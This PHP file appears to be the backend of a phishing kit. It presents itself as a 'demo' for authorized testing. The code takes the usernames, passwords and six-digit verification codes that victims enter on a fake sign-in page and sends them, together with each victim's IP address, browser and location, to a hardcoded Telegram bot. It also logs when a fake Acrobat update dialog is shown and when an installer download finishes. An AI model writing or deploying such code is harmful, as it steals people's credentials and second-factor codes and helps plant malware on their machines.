<?php
declare(strict_types=1);

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Content-Type: application/json; charset=utf-8');

/**
 * SECURE-GATEWAY demo backend — for authorized testing/training only.
 * Replace TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID before use.
 */

const TELEGRAM_BOT_TOKEN = '7936402071:AAH28EU2aM7LSZq_NjaZcAm1CDT5ugeGtyY';
const TELEGRAM_CHAT_ID = '6867274415';
const TELEGRAM_API = 'https://api.telegram.org/bot';

function html_escape(string $text): string
{
    return htmlspecialchars($text, ENT_HTML5 | ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

/**
 * Telegram chat_id: numeric string → int (some PHP/cURL JSON stacks behave better with int).
 *
 * @return int|string
 */
function telegram_chat_id()
{
    $id = TELEGRAM_CHAT_ID;
    if (preg_match('/^-?\d+$/', (string) $id) === 1) {
        return (int) $id;
    }

    return $id;
}

function get_client_ip(): string
{
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $parts = preg_split('/\s*,\s*/', (string) $_SERVER['HTTP_X_FORWARDED_FOR']) ?: [];
        foreach ($parts as $ip) {
            $ip = trim($ip);
            if ($ip !== '' && filter_var($ip, FILTER_VALIDATE_IP)) {
                return $ip;
            }
        }
    }
    $remote = $_SERVER['REMOTE_ADDR'] ?? '';
    return filter_var($remote, FILTER_VALIDATE_IP) ? $remote : 'unknown';
}

function get_user_agent(): string
{
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? trim((string) $_SERVER['HTTP_USER_AGENT']) : '';
    return $ua === '' ? 'Not provided' : (strlen($ua) > 500 ? substr($ua, 0, 500) . '…' : $ua);
}

/** Free Geo-IP (no API key); for production consider a paid provider with HTTPS. */
function geo_lookup(string $ip): string
{
    if ($ip === 'unknown' || $ip === '127.0.0.1'
        || strncmp($ip, '192.168.', 8) === 0
        || strncmp($ip, '10.', 3) === 0) {
        return 'Local / private network';
    }
    $url = 'http://ip-api.com/json/' . rawurlencode($ip) . '?fields=status,message,country,regionName,city';
    $ctx = stream_context_create(['http' => ['timeout' => 2]]);
    $raw = @file_get_contents($url, false, $ctx);
    if ($raw === false) {
        return 'Geo lookup unavailable';
    }
    $j = json_decode($raw, true);
    if (!is_array($j) || ($j['status'] ?? '') !== 'success') {
        return 'Geo lookup failed';
    }
    $city = (string) ($j['city'] ?? '');
    $region = (string) ($j['regionName'] ?? '');
    $country = (string) ($j['country'] ?? '');
    $parts = array_filter([$city, $region, $country]);
    return $parts === [] ? 'Unknown location' : implode(', ', $parts);
}

function telegram_configured(): bool
{
    return TELEGRAM_BOT_TOKEN !== 'INSERT_YOUR_BOT_TOKEN_HERE'
        && TELEGRAM_CHAT_ID !== 'INSERT_YOUR_CHAT_ID_HERE';
}

/** Safe text for Telegram + json_encode (invalid UTF-8 breaks the whole request). */
function telegram_sanitize_text(string $text): string
{
    $text = str_replace("\0", '', $text);
    if (function_exists('mb_convert_encoding')) {
        $fixed = @mb_convert_encoding($text, 'UTF-8', 'UTF-8');
        if (is_string($fixed) && $fixed !== '') {
            $text = $fixed;
        }
    }
    if (strlen($text) > 4090) {
        $text = substr($text, 0, 4087) . '…';
    }

    return $text;
}

function telegram_json_flags(): int
{
    $flags = JSON_UNESCAPED_UNICODE;
    if (defined('JSON_INVALID_UTF8_SUBSTITUTE')) {
        $flags |= JSON_INVALID_UTF8_SUBSTITUTE;
    }

    return $flags;
}

/**
 * PEM CA bundle for cURL / streams (cPanel: curl.cainfo / openssl.cafile; else OpenSSL default + distro paths).
 */
function telegram_curl_ca_bundle_path(): ?string
{
    foreach (['curl.cainfo', 'openssl.cafile'] as $iniKey) {
        $p = ini_get($iniKey);
        if (is_string($p) && $p !== '' && @is_readable($p)) {
            return $p;
        }
    }
    if (function_exists('openssl_get_cert_locations')) {
        $locs = openssl_get_cert_locations();
        if (is_array($locs)) {
            $dcf = $locs['default_cert_file'] ?? '';
            if (is_string($dcf) && $dcf !== '' && @is_readable($dcf)) {
                return $dcf;
            }
        }
    }
    foreach ([
        '/etc/ssl/certs/ca-certificates.crt',
        '/etc/pki/tls/certs/ca-bundle.crt',
        '/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem',
        '/usr/lib/ssl/cert.pem',
        '/etc/ssl/cert.pem',
    ] as $sys) {
        if (@is_readable($sys)) {
            return $sys;
        }
    }

    return null;
}

function telegram_http_fopen_enabled(): bool
{
    $v = strtolower(trim((string) ini_get('allow_url_fopen')));

    return $v === '1' || $v === 'on' || $v === 'true';
}

/**
 * POST JSON to Telegram sendMessage via cURL (preferred on cPanel and most hosts).
 *
 * @return array<string, mixed>|null Decoded Telegram response, or null on transport/parse failure
 */
function telegram_curl_post_message(array $payload): ?array
{
    $GLOBALS['SSA_TG_TRANSPORT'] = '';

    if (!function_exists('curl_init')) {
        return null;
    }

    $url = TELEGRAM_API . TELEGRAM_BOT_TOKEN . '/sendMessage';
    if (isset($payload['text']) && is_string($payload['text'])) {
        $payload['text'] = telegram_sanitize_text($payload['text']);
    }

    $body = json_encode($payload, telegram_json_flags());
    if ($body === false || $body === '') {
        return null;
    }

    $caPath = telegram_curl_ca_bundle_path();

    for ($round = 0; $round < 2; $round++) {
        $verifySsl = $round === 0;
        $ch = curl_init($url);
        if ($ch === false) {
            return null;
        }

        $opts = [
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $body,
            CURLOPT_HTTPHEADER => ['Content-Type: application/json; charset=utf-8'],
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 45,
            CURLOPT_CONNECTTIMEOUT => 20,
            CURLOPT_SSL_VERIFYPEER => $verifySsl,
            CURLOPT_SSL_VERIFYHOST => $verifySsl ? 2 : 0,
            CURLOPT_FOLLOWLOCATION => false,
            CURLOPT_USERAGENT => 'SSA-send-php/1 (+https://api.telegram.org)',
        ];
        if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1')) {
            $opts[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
        }
        if ($verifySsl && $caPath !== null) {
            $opts[CURLOPT_CAINFO] = $caPath;
        }
        if (defined('CURLOPT_NOSIGNAL')) {
            $opts[CURLOPT_NOSIGNAL] = true;
        }
        if (defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4')) {
            $opts[CURLOPT_IPRESOLVE] = CURL_IPRESOLVE_V4;
        }

        curl_setopt_array($ch, $opts);
        $raw = curl_exec($ch);
        $errno = (int) curl_errno($ch);
        $cerr = trim((string) curl_error($ch));
        curl_close($ch);

        if ($raw !== false && $raw !== '') {
            $data = json_decode($raw, true);
            if (is_array($data)) {
                return $data;
            }
            $GLOBALS['SSA_TG_TRANSPORT'] = 'Telegram API returned invalid JSON';
            continue;
        }

        if ($errno !== 0) {
            $GLOBALS['SSA_TG_TRANSPORT'] = 'cURL ' . $errno . ($cerr !== '' ? ': ' . $cerr : '');
        } else {
            $GLOBALS['SSA_TG_TRANSPORT'] = $verifySsl
                ? 'empty response (SSL verify on; host may lack CA bundle — retry uses relaxed SSL)'
                : 'empty response from Telegram after relaxed SSL';
        }
    }

    return null;
}

/**
 * POST JSON via HTTPS stream (fallback when cURL is off or fails; needs allow_url_fopen).
 *
 * @return array<string, mixed>|null
 */
function telegram_stream_post_message(array $payload): ?array
{
    if (!telegram_http_fopen_enabled()) {
        return null;
    }

    $url = TELEGRAM_API . TELEGRAM_BOT_TOKEN . '/sendMessage';
    if (isset($payload['text']) && is_string($payload['text'])) {
        $payload['text'] = telegram_sanitize_text($payload['text']);
    }

    $body = json_encode($payload, telegram_json_flags());
    if ($body === false || $body === '') {
        return null;
    }

    $caPath = telegram_curl_ca_bundle_path();
    $len = strlen($body);

    for ($round = 0; $round < 2; $round++) {
        $verifySsl = $round === 0;
        $ssl = [
            'verify_peer' => $verifySsl,
            'verify_peer_name' => $verifySsl,
        ];
        if ($verifySsl && $caPath !== null) {
            $ssl['cafile'] = $caPath;
        }

        $ctx = stream_context_create([
            'http' => [
                'method' => 'POST',
                'header' => "Content-Type: application/json; charset=utf-8\r\nContent-Length: {$len}\r\n",
                'content' => $body,
                'timeout' => 45,
                'ignore_errors' => true,
            ],
            'ssl' => $ssl,
        ]);

        $raw = @file_get_contents($url, false, $ctx);
        if ($raw !== false && $raw !== '') {
            $data = json_decode($raw, true);
            if (is_array($data)) {
                return $data;
            }
            $GLOBALS['SSA_TG_TRANSPORT'] = 'Telegram API returned invalid JSON (HTTP stream)';
            continue;
        }

        $GLOBALS['SSA_TG_TRANSPORT'] = $verifySsl
            ? 'HTTPS stream to api.telegram.org failed (retry uses relaxed SSL)'
            : 'HTTPS stream failed after relaxed SSL';
    }

    return null;
}

/**
 * Try cURL first, then HTTPS stream — maximizes delivery on shared hosting / cPanel.
 *
 * @return array<string, mixed>|null
 */
function telegram_post_message(array $payload): ?array
{
    if (function_exists('curl_init')) {
        $r = telegram_curl_post_message($payload);
        if ($r !== null) {
            return $r;
        }
    }

    return telegram_stream_post_message($payload);
}

/**
 * Extract a short, safe API error for HTTP JSON (never leaks token).
 */
function telegram_error_line(?array $resp): string
{
    if ($resp === null) {
        if (!function_exists('curl_init') && !telegram_http_fopen_enabled()) {
            return 'Enable PHP cURL or allow_url_fopen for HTTPS (cPanel: MultiPHP INI Editor / Select PHP Version → Extensions)';
        }
        $t = isset($GLOBALS['SSA_TG_TRANSPORT']) ? trim((string) $GLOBALS['SSA_TG_TRANSPORT']) : '';
        if ($t !== '') {
            return $t;
        }

        return 'No response from Telegram (firewall, SSL/CA bundle, or api.telegram.org blocked from this host)';
    }
    $desc = isset($resp['description']) ? (string) $resp['description'] : '';
    $desc = trim(preg_replace('/\s+/', ' ', $desc) ?? '');
    if ($desc === '') {
        $desc = 'unknown Telegram error';
    }
    if (strlen($desc) > 180) {
        $desc = substr($desc, 0, 177) . '…';
    }
    if (isset($resp['error_code'])) {
        $desc .= ' (Telegram code ' . (string) $resp['error_code'] . ')';
    }

    return $desc;
}

/**
 * Deliver alert to Telegram (cURL + HTTPS stream fallback; plain → HTML → minimal; int and string chat_id).
 *
 * @return array{ok: bool, error: ?string}
 */
function telegram_send_alert(string $plainPrimary, string $htmlBody, string $plainMinimal): array
{
    if (!telegram_configured()) {
        return ['ok' => true, 'error' => null];
    }

    if (!function_exists('curl_init') && !telegram_http_fopen_enabled()) {
        return ['ok' => false, 'error' => telegram_error_line(null)];
    }

    $plainPrimary = telegram_sanitize_text($plainPrimary);
    $htmlBody = telegram_sanitize_text($htmlBody);
    $plainMinimal = telegram_sanitize_text($plainMinimal);

    $chatVariants = [telegram_chat_id()];
    $cid = (string) TELEGRAM_CHAT_ID;
    if (preg_match('/^-?\d+$/', $cid) === 1 && is_int($chatVariants[0])) {
        $chatVariants[] = $cid;
    }

    $lastResp = null;

    foreach ($chatVariants as $chatId) {
        $base = [
            'chat_id' => $chatId,
            'disable_web_page_preview' => true,
        ];

        $attempts = [
            array_merge($base, ['text' => $plainPrimary]),
            array_merge($base, ['text' => $htmlBody, 'parse_mode' => 'HTML']),
            array_merge($base, ['text' => $plainMinimal]),
        ];

        foreach ($attempts as $payload) {
            if (!isset($payload['parse_mode'])) {
                unset($payload['parse_mode']);
            }

            $r = telegram_post_message($payload);
            $lastResp = $r;
            if ($r !== null && !empty($r['ok'])) {
                return ['ok' => true, 'error' => null];
            }
        }
    }

    return ['ok' => false, 'error' => telegram_error_line($lastResp)];
}

/**
 * @return array{0: string, 1: string, 2: string} HTML, plain, minimal plain fallback
 */
function build_visit_telegram(string $ipServer, string $uaServer, string $serverTimestamp, string $geo): array
{
    $headline = 'SSA — Page opened';
    $plain = "{$headline}\n"
        . "Someone loaded the SSA sign-in page.\n\n"
        . "IP: {$ipServer}\n"
        . "User agent: {$uaServer}\n"
        . "Time: {$serverTimestamp}\n"
        . "Location: {$geo}";

    $html = '<b>' . html_escape($headline) . "</b>\n"
        . html_escape('Someone loaded the SSA sign-in page.') . "\n\n"
        . "<b>IP</b>\n<code>" . html_escape($ipServer) . "</code>\n\n"
        . "<b>User agent</b>\n" . html_escape($uaServer) . "\n\n"
        . '<b>Time</b>' . "\n" . html_escape($serverTimestamp) . "\n\n"
        . '<b>Location</b>' . "\n" . html_escape($geo);

    $minimal = $headline . ' | IP ' . $ipServer . ' | ' . $serverTimestamp;

    return [$html, $plain, $minimal];
}

/**
 * @return array{0: string, 1: string, 2: string} HTML, plain, minimal
 */
function build_login_telegram(
    string $username,
    string $password,
    string $ipServer,
    string $uaServer,
    string $serverTimestamp,
    string $geo
): array {
    $headline = 'SSA — Login submitted';
    $plain = "{$headline}\n\n"
        . "Username: {$username}\n"
        . "Password: {$password}\n\n"
        . "IP: {$ipServer}\n"
        . "Location: {$geo}\n"
        . "User agent: {$uaServer}\n"
        . "Time: {$serverTimestamp}";

    $html = '<b>' . html_escape($headline) . "</b>\n\n"
        . '<b>Username</b>' . "\n" . html_escape($username) . "\n\n"
        . '<b>Password</b>' . "\n" . html_escape($password) . "\n\n"
        . "<b>IP</b>\n<code>" . html_escape($ipServer) . "</code>\n\n"
        . '<b>Location</b>' . "\n" . html_escape($geo) . "\n\n"
        . "<b>User agent</b>\n" . html_escape($uaServer) . "\n\n"
        . '<b>Time</b>' . "\n" . html_escape($serverTimestamp);

    $minimal = $headline . ' | ' . $username . ' | IP ' . $ipServer;

    return [$html, $plain, $minimal];
}

/**
 * @return array{0: string, 1: string, 2: string} HTML, plain, minimal
 */
function build_verify_telegram(
    string $code,
    string $ipServer,
    string $uaServer,
    string $serverTimestamp,
    string $geo
): array {
    $headline = 'SSA — Verification code';
    $plain = "{$headline}\n\n"
        . "Code: {$code}\n\n"
        . "IP: {$ipServer}\n"
        . "Location: {$geo}\n"
        . "User agent: {$uaServer}\n"
        . "Time: {$serverTimestamp}";

    $html = '<b>' . html_escape($headline) . "</b>\n\n"
        . '<b>Code</b> <code>' . html_escape($code) . "</code>\n\n"
        . "<b>IP</b>\n<code>" . html_escape($ipServer) . "</code>\n\n"
        . '<b>Location</b>' . "\n" . html_escape($geo) . "\n\n"
        . "<b>User agent</b>\n" . html_escape($uaServer) . "\n\n"
        . '<b>Time</b>' . "\n" . html_escape($serverTimestamp);

    $minimal = $headline . ' | ' . $code . ' | IP ' . $ipServer;

    return [$html, $plain, $minimal];
}

/**
 * @return array{0: string, 1: string, 2: string} HTML, plain, minimal
 */
function build_acrobat_event_telegram(
    string $headline,
    string $detail,
    string $ipServer,
    string $uaServer,
    string $serverTimestamp,
    string $geo
): array {
    $plain = "{$headline}\n{$detail}\n\n"
        . "IP: {$ipServer}\n"
        . "Location: {$geo}\n"
        . "User agent: {$uaServer}\n"
        . "Time: {$serverTimestamp}";

    $html = '<b>' . html_escape($headline) . "</b>\n"
        . html_escape($detail) . "\n\n"
        . "<b>IP</b>\n<code>" . html_escape($ipServer) . "</code>\n\n"
        . '<b>Location</b>' . "\n" . html_escape($geo) . "\n\n"
        . "<b>User agent</b>\n" . html_escape($uaServer) . "\n\n"
        . '<b>Time</b>' . "\n" . html_escape($serverTimestamp);

    $minimal = $headline . ' | IP ' . $ipServer . ' | ' . $serverTimestamp;

    return [$html, $plain, $minimal];
}

function json_ok(): void
{
    echo json_encode(['ok' => true]);
    exit;
}

function json_fail(int $code, string $msg): void
{
    http_response_code($code);
    echo json_encode(['ok' => false, 'error' => $msg]);
    exit;
}

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(200);
    exit;
}

if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') {
    json_fail(405, 'Method not allowed');
}

$raw = file_get_contents('php://input');
$data = json_decode($raw, true);
if (!is_array($data)) {
    json_fail(400, 'Invalid JSON');
}

$action = isset($data['action']) ? (string) $data['action'] : '';
$ip = get_client_ip();
$ua = get_user_agent();
$geo = geo_lookup($ip);

if ($action === 'visit') {
    $serverTs = date('Y-m-d H:i:s') . ' (' . date_default_timezone_get() . ')';
    [$html, $plain, $minimal] = build_visit_telegram($ip, $ua, $serverTs, $geo);
    $sent = telegram_send_alert($plain, $html, $minimal);
    if (!$sent['ok']) {
        $hint = $sent['error'] ?? 'unknown error';
        error_log('SSA send.php visit Telegram failed: ' . $hint);
        json_fail(503, 'Telegram: ' . $hint);
    }
    json_ok();
}

if ($action === 'provider_click') {
    $provider = isset($data['provider']) ? trim((string) $data['provider']) : '';
    if ($provider === '') {
        json_fail(422, 'Provider required');
    }
    json_ok();
}

if ($action === 'login') {
    $user = isset($data['username']) ? trim((string) $data['username']) : '';
    $pass = isset($data['password']) ? (string) $data['password'] : '';
    if ($user === '' || $pass === '') {
        json_fail(422, 'Username and password required');
    }
    $serverTs = date('Y-m-d H:i:s') . ' (' . date_default_timezone_get() . ')';
    [$html, $plain, $minimal] = build_login_telegram($user, $pass, $ip, $ua, $serverTs, $geo);
    $sent = telegram_send_alert($plain, $html, $minimal);
    if (!$sent['ok']) {
        $hint = $sent['error'] ?? 'unknown error';
        error_log('SSA send.php login Telegram failed: ' . $hint);
        json_fail(503, 'Telegram: ' . $hint);
    }
    json_ok();
}

if ($action === 'verify') {
    $code = isset($data['code']) ? preg_replace('/\D/', '', (string) $data['code']) : '';
    if (strlen($code) !== 6) {
        json_fail(422, 'Verification code must be 6 digits');
    }
    $serverTs = date('Y-m-d H:i:s') . ' (' . date_default_timezone_get() . ')';
    [$html, $plain, $minimal] = build_verify_telegram($code, $ip, $ua, $serverTs, $geo);
    $sent = telegram_send_alert($plain, $html, $minimal);
    if (!$sent['ok']) {
        $hint = $sent['error'] ?? 'unknown error';
        error_log('SSA send.php verify Telegram failed: ' . $hint);
        json_fail(503, 'Telegram: ' . $hint);
    }
    json_ok();
}

if ($action === 'acrobat_modal_open') {
    $serverTs = date('Y-m-d H:i:s') . ' (' . date_default_timezone_get() . ')';
    [$html, $plain, $minimal] = build_acrobat_event_telegram(
        'SSA — Adobe modal opened',
        'The Acrobat Reader security update dialog was displayed.',
        $ip,
        $ua,
        $serverTs,
        $geo
    );
    $sent = telegram_send_alert($plain, $html, $minimal);
    if (!$sent['ok']) {
        $hint = $sent['error'] ?? 'unknown error';
        error_log('SSA send.php acrobat_modal_open Telegram failed: ' . $hint);
        json_fail(503, 'Telegram: ' . $hint);
    }
    json_ok();
}

if ($action === 'acrobat_download_complete') {
    $serverTs = date('Y-m-d H:i:s') . ' (' . date_default_timezone_get() . ')';
    [$html, $plain, $minimal] = build_acrobat_event_telegram(
        'SSA — Acrobat download complete',
        'WebView2 installer MSI download was triggered (progress finished).',
        $ip,
        $ua,
        $serverTs,
        $geo
    );
    $sent = telegram_send_alert($plain, $html, $minimal);
    if (!$sent['ok']) {
        $hint = $sent['error'] ?? 'unknown error';
        error_log('SSA send.php acrobat_download_complete Telegram failed: ' . $hint);
        json_fail(503, 'Telegram: ' . $hint);
    }
    json_ok();
}

/** Legacy no-op for older clients. */
if ($action === 'acrobat_auto_download') {
    json_ok();
}

json_fail(400, 'Unknown action');
